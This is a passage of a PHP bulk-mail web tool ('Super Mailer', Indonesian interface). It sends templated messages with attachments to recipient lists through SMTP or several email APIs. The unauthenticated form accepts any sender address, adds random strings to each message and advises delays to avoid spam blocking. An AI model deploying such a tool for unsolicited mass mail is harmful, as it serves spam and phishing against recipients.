                        if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] Brevo messageId: " . $resp['messageId']);
                    } elseif ($driver === 'sendgrid') {
                        $resp = $sendgrid->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
                        if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] SendGrid messageId: " . $resp['messageId']);
                    } elseif ($driver === 'mandrill') {
                        $resp = $mandrill->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
                        if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] Mandrill messageId: " . $resp['messageId'] . " | status: " . $resp['status']);
                    } elseif ($driver === 'smtp2go') {
                        $resp = $smtp2go->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
                        if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] SMTP2GO emailId: " . $resp['messageId']);
                    } else {
                        $this->sendViaMail($email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
                    }
                    $this->sentCount++;
                    $this->results[] = array('email' => $email, 'status' => 'sent', 'random' => $randomString);
                    $this->log("[" . ($index+1) . "] āœ… $email | random: $randomString");
                } catch (Exception $e) {
                    $this->failCount++;
                    $this->results[] = array('email' => $email, 'status' => 'failed', 'error' => $e->getMessage());
                    $this->log("[" . ($index+1) . "] āŒ $email: " . $e->getMessage());
                }
                if ($delayMicroseconds > 0) usleep($delayMicroseconds);
            }
            if ($smtp) $smtp->quit();
            $this->log("\n✨ Selesai! Terkirim: {$this->sentCount}, Gagal: {$this->failCount}");
        }

        public function getStats() {
            return array('sent' => $this->sentCount, 'failed' => $this->failCount, 'results' => $this->results);
        }

        private function sendViaMail($to, $name, $subject, $htmlBody, $textBody, $attachments) {
            $from = $this->config['from_email'];
            $fromName = $this->config['from_name'] ?: '';
            $toFormatted = $name ? "$name <$to>" : $to;
            $subjectEnc = $this->encodeHeader($subject);
            $boundary = '----=_Part_' . md5(uniqid('', true));
            $fromHeader = $fromName ? $this->encodeHeader($fromName) . " <$from>" : $from;
            $headers = array("MIME-Version: 1.0", "From: $fromHeader", "Content-Type: multipart/mixed; boundary=\"$boundary\"");
            $body = '';
            $altBoundary = $boundary . '_alt';
            $body .= "--$boundary\r\nContent-Type: multipart/alternative; boundary=\"$altBoundary\"\r\n\r\n";
            $plain = $textBody ?: strip_tags($htmlBody);
            $body .= "--$altBoundary\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Transfer-Encoding: 8bit\r\n\r\n$plain\r\n\r\n";
            if ($htmlBody) $body .= "--$altBoundary\r\nContent-Type: text/html; charset=utf-8\r\nContent-Transfer-Encoding: 8bit\r\n\r\n$htmlBody\r\n\r\n";
            $body .= "--$altBoundary--\r\n\r\n";
            foreach ($attachments as $att) {
                if (!is_file($att['path'])) continue;
                $data = file_get_contents($att['path']);
                $mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
                if (!$mime) $mime = 'application/octet-stream';
                $fname = $att['name'] ?: basename($att['path']);
                $body .= "--$boundary\r\nContent-Type: $mime; name=\"{$fname}\"\r\nContent-Disposition: attachment; filename=\"{$fname}\"\r\nContent-Transfer-Encoding: base64\r\n\r\n" . chunk_split(base64_encode($data)) . "\r\n";
            }
            $body .= "--$boundary--\r\n";
            if (!mail($toFormatted, $subjectEnc, $body, implode("\r\n", $headers))) throw new Exception("mail() false.");
        }

        private function encodeHeader($str) {
            if (preg_match('/[^\x20-\x7E]/', $str)) return '=?UTF-8?B?' . base64_encode($str) . '?=';
            return $str;
        }
    }

    // --- EKSEKUSI ---
    try {
        $mailer = new BulkMailer($config);
        $mailer->sendBulk($recipients, $subject, $html_body, $text_body, $attachments, $delay);
        $stats = $mailer->getStats();

        if ($wantJson) {
            $allLogs = ob_get_clean();
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode(array(
                'success' => true,
                'stats'   => array('total' => count($recipients), 'sent' => $stats['sent'], 'failed' => $stats['failed']),
                'results' => $stats['results'],
                'logs'    => array_values(array_filter(explode("\n", trim($allLogs)))),
            ), JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        }
    } catch (Exception $e) {
        if ($wantJson) {
            $allLogs = ob_get_clean();
            header('Content-Type: application/json; charset=utf-8');
            http_response_code(500);
            echo json_encode(array('success' => false, 'error' => $e->getMessage(), 'logs' => array_values(array_filter(explode("\n", trim($allLogs))))), JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        } else {
            echo "āŒ Error: " . $e->getMessage();
            if (!empty($config['log_file'])) @file_put_contents($config['log_file'], date('Y-m-d H:i:s') . ' ERROR: ' . $e->getMessage() . "\n", FILE_APPEND);
        }
    }
    exit;
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Super Mailer - Form</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif; background: #f0f2f5; padding: 15px; }
        .container { max-width: 860px; margin: 0 auto; background: #ffffff; padding: 25px 20px; border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); }
        h1 { font-size: 1.8rem; color: #1a1a2e; border-bottom: 3px solid #007bff; padding-bottom: 12px; margin-bottom: 20px; display: flex; align-items: center; gap: 10px; }
        .warning { background: #fff8e1; border-left: 4px solid #f5a623; padding: 14px 18px; border-radius: 6px; font-size: 0.9rem; color: #5d4b1a; margin-bottom: 25px; line-height: 1.7; }
        .warning strong { color: #b7410e; }
        .warning code { background: #fff3cd; padding: 1px 6px; border-radius: 4px; font-family: monospace; color: #856404; border: 1px solid #ffe69c; }
        label { display: block; font-weight: 600; font-size: 0.95rem; margin: 18px 0 6px 0; color: #1e293b; }
        input[type="text"], input[type="number"], input[type="password"], select, textarea { width: 100%; padding: 12px 14px; border: 1px solid #d1d5db; border-radius: 8px; font-size: 1rem; background: #fafafa; transition: 0.2s; }
        input:focus, select:focus, textarea:focus { outline: none; border-color: #007bff; box-shadow: 0 0 0 3px rgba(0,123,255,0.15); background: #fff; }
        textarea { min-height: 90px; font-family: monospace; resize: vertical; }
        .row { display: flex; gap: 16px; flex-wrap: wrap; }
        .col { flex: 1; min-width: 200px; }
        .field-group { background: #f8fafc; padding: 18px 16px; border-radius: 10px; margin: 12px 0 8px 0; border-left: 5px solid #007bff; }
        .field-group.smtp { border-left-color: #28a745; }
        .field-group.brevo { border-left-color: #ff6b35; }
        .field-group.sendgrid { border-left-color: #1a82e2; }
        .field-group.mandrill { border-left-color: #e63946; }
        .field-group.smtp2go { border-left-color: #6a4c93; }
        .field-group h4 { font-size: 1rem; margin-bottom: 12px; color: #0f172a; }
        small { display: block; margin-top: 6px; color: #6b7280; font-size: 0.8rem; }
        button { background: #007bff; color: #fff; border: none; padding: 16px 28px; border-radius: 50px; font-size: 1.1rem; font-weight: 700; cursor: pointer; margin-top: 25px; width: 100%; transition: 0.2s; letter-spacing: 0.5px; }
        button:hover { background: #0056b3; transform: scale(1.01); }
        .debug-check { display: flex; align-items: center; gap: 10px; margin-top: 18px; font-weight: 400; }
        .debug-check input[type="checkbox"] { width: 20px; height: 20px; margin: 0; }
        .tag-help { background: #e7f3ff; border-left: 4px solid #2196f3; padding: 12px 16px; border-radius: 6px; font-size: 0.85rem; margin: 10px 0 0 0; color: #0d47a1; line-height: 1.8; }
        .tag-help code { background: #fff; padding: 2px 8px; border-radius: 4px; font-family: monospace; color: #d32f2f; font-weight: 600; border: 1px solid #bbdefb; }
        @media (max-width: 600px) {
            body { padding: 8px; } .container { padding: 16px 12px; } h1 { font-size: 1.4rem; }
            .row { flex-direction: column; gap: 8px; } .col { min-width: 100%; }
            button { padding: 14px 20px; font-size: 1rem; } .field-group { padding: 14px 12px; }
            input, select, textarea { font-size: 0.95rem; padding: 10px 12px; } .warning { font-size: 0.8rem; padding: 10px 12px; }
        }
        @media (max-width: 400px) { h1 { font-size: 1.2rem; flex-wrap: wrap; } }
    </style>
</head>
<body>
    <div class="container">
        <h1>šŸ“§ Super Mailer - Form Kirim Massal</h1>
        <div class="warning">
            <strong>āš ļø Perhatian:</strong>
            <br>• Untuk Gmail, pilih driver <strong>SMTP</strong> dan gunakan <strong>App Password</strong>.
            <br>• Untuk API (Brevo / SendGrid / Mandrill / SMTP2GO), pilih driver masing-masing dan isi API key.
            <br>• <strong>From Name</strong> muncul di email penerima.
            <br><br>
            <strong>šŸ·ļø Tag yang didukung (Subject, HTML, Teks):</strong>
            <br>• <code>{email}</code> → email penerima
            <br>• <code>{name}</code> → nama penerima (fallback: sebelum @)
            <br>• <code>##randomstring##</code> → random unik 16 karakter per email
        </div>

        <form action="" method="post" enctype="multipart/form-data">
            <label for="driver">Pilih Driver</label>
            <select name="driver" id="driver" onchange="toggleDriver(this.value)">
                <option value="smtp">SMTP (Rekomendasi Gmail)</option>
                <option value="brevo">Brevo API</option>
                <option value="sendgrid">SendGrid API</option>
                <option value="mandrill">Mandrill API</option>
                <option value="smtp2go">SMTP2GO API</option>
                <option value="mail">mail() Bawaan PHP</option>
            </select>

            <!-- SMTP CONFIG -->
            <div id="smtp_config" class="field-group smtp">
                <h4>āš™ļø Konfigurasi SMTP</h4>
                <div class="row">
                    <div class="col"><label>Host</label><input type="text" name="smtp_host" value="smtp.gmail.com"></div>
                    <div class="col"><label>Port</label><input type="number" name="smtp_port" value="587"></div>
                </div>
                <div class="row">
                    <div class="col"><label>Username</label><input type="text" name="smtp_user" placeholder="email@gmail.com"></div>
                    <div class="col"><label>Password</label><input type="password" name="smtp_pass" placeholder="App Password"></div>
                </div>
                <label>Security</label>
                <select name="smtp_encryption">
                    <option value="tls">TLS (587)</option>
                    <option value="ssl">SSL (465)</option>
                    <option value="none">None (25)</option>
                </select>
            </div>

            <!-- BREVO CONFIG -->
            <div id="brevo_config" class="field-group brevo" style="display:none;">
                <h4>šŸ”‘ Konfigurasi Brevo API</h4>
                <label>API Key (v3)</label>
                <input type="text" name="brevo_api_key" placeholder="xkeysib-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
                <small>Generate di: https://app.brevo.com/settings/keys/api</small>
            </div>

            <!-- SENDGRID CONFIG -->
            <div id="sendgrid_config" class="field-group sendgrid" style="display:none;">
                <h4>šŸ”‘ Konfigurasi SendGrid API</h4>
                <label>API Key (Bearer Token)</label>
                <input type="text" name="sendgrid_api_key" placeholder="SG.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
                <small>Generate di: https://app.sendgrid.com/settings/api_keys</small>
            </div>

            <!-- MANDRILL CONFIG -->
            <div id="mandrill_config" class="field-group mandrill" style="display:none;">
                <h4>šŸ”‘ Konfigurasi Mandrill API</h4>
                <label>API Key</label>
                <input type="text" name="mandrill_api_key" placeholder="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
                <small>Generate di: https://mandrillapp.com/settings/index</small>
            </div>

            <!-- SMTP2GO CONFIG -->
            <div id="smtp2go_config" class="field-group smtp2go" style="display:none;">
                <h4>šŸ”‘ Konfigurasi SMTP2GO API</h4>
                <label>API Key</label>
                <input type="text" name="smtp2go_api_key" placeholder="api-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX">
                <small>Generate di: https://app.smtp2go.com/settings/apikeys (menu "API Keys")</small>
                <small style="color:#b7410e;">āš ļø Copy API key SEKALI SAJA. Format: <code>api-xxxxxxxx...</code></small>
            </div>

            <!-- FROM -->
            <div class="field-group">
                <h4>āœ‰ļø Pengirim (From)</h4>
                <div class="row">
                    <div class="col"><label>From Email</label><input type="text" name="from_email" placeholder="sender@domain.com" required></div>
                    <div class="col"><label>From Name</label><input type="text" name="from_name" placeholder="Nama Pengirim"></div>
                </div>
            </div>

            <label>šŸ“‹ Daftar Penerima <small>(satu per baris, format: Nama &lt;email&gt;)</small></label>
            <textarea name="recipients" placeholder="Budi &lt;budi@mail.com&gt;&#10;Ani &lt;ani@mail.com&gt;" required></textarea>

            <label>šŸ“Œ Subject</label>
            <input type="text" name="subject" placeholder="Halo {name}, kode verifikasi kamu: ##randomstring##" required>

            <div class="tag-help">
                šŸ’” <strong>Tag tersedia:</strong> <code>{email}</code> <code>{name}</code> <code>##randomstring##</code>
            </div>

            <label>šŸ“„ Isi HTML</label>
            <textarea name="html_body" rows="6" placeholder="&lt;h1&gt;Halo {name}&lt;/h1&gt;&lt;p&gt;Email: {email}&lt;/p&gt;&lt;p&gt;Kode: ##randomstring##&lt;/p&gt;"></textarea>

            <label>šŸ“„ Isi Teks (Alternatif)</label>
            <textarea name="text_body" rows="3" placeholder="Halo {name}, email kamu {email}. Kode: ##randomstring##"></textarea>

            <label>šŸ“Ž Lampiran (Opsional)</label>
            <input type="file" name="attachment" accept=".pdf,.doc,.docx,.png,.jpg,.zip">

            <label>ā±ļø Jeda (mikrodetik)</label>
            <input type="number" name="delay" value="500000">
            <small>Rekomendasi: 500000 (0.5 detik) agar tidak kena blokir spam.</small>

            <div class="debug-check">
                <input type="checkbox" name="debug" value="1" id="debug">
                <label for="debug" style="display:inline; font-weight:400; margin:0;">Aktifkan Debug</label>
            </div>

            <button type="submit" name="submit">šŸš€ Kirim Sekarang</button>
        </form>
    </div>

    <script>
        function toggleDriver(val) {
            document.getElementById('smtp_config').style.display     = (val === 'smtp')     ? 'block' : 'none';
            document.getElementById('brevo_config').style.display    = (val === 'brevo')    ? 'block' : 'none';
            document.getElementById('sendgrid_config').style.display = (val === 'sendgrid') ? 'block' : 'none';
            document.getElementById('mandrill_config').style.display = (val === 'mandrill') ? 'block' : 'none';
            document.getElementById('smtp2go_config').style.display  = (val === 'smtp2go')  ? 'block' : 'none';
        }
        document.addEventListener('DOMContentLoaded', function() {
            toggleDriver(document.getElementById('driver').value);
        });
    </script>
</body>
</html>

VaKeR 2022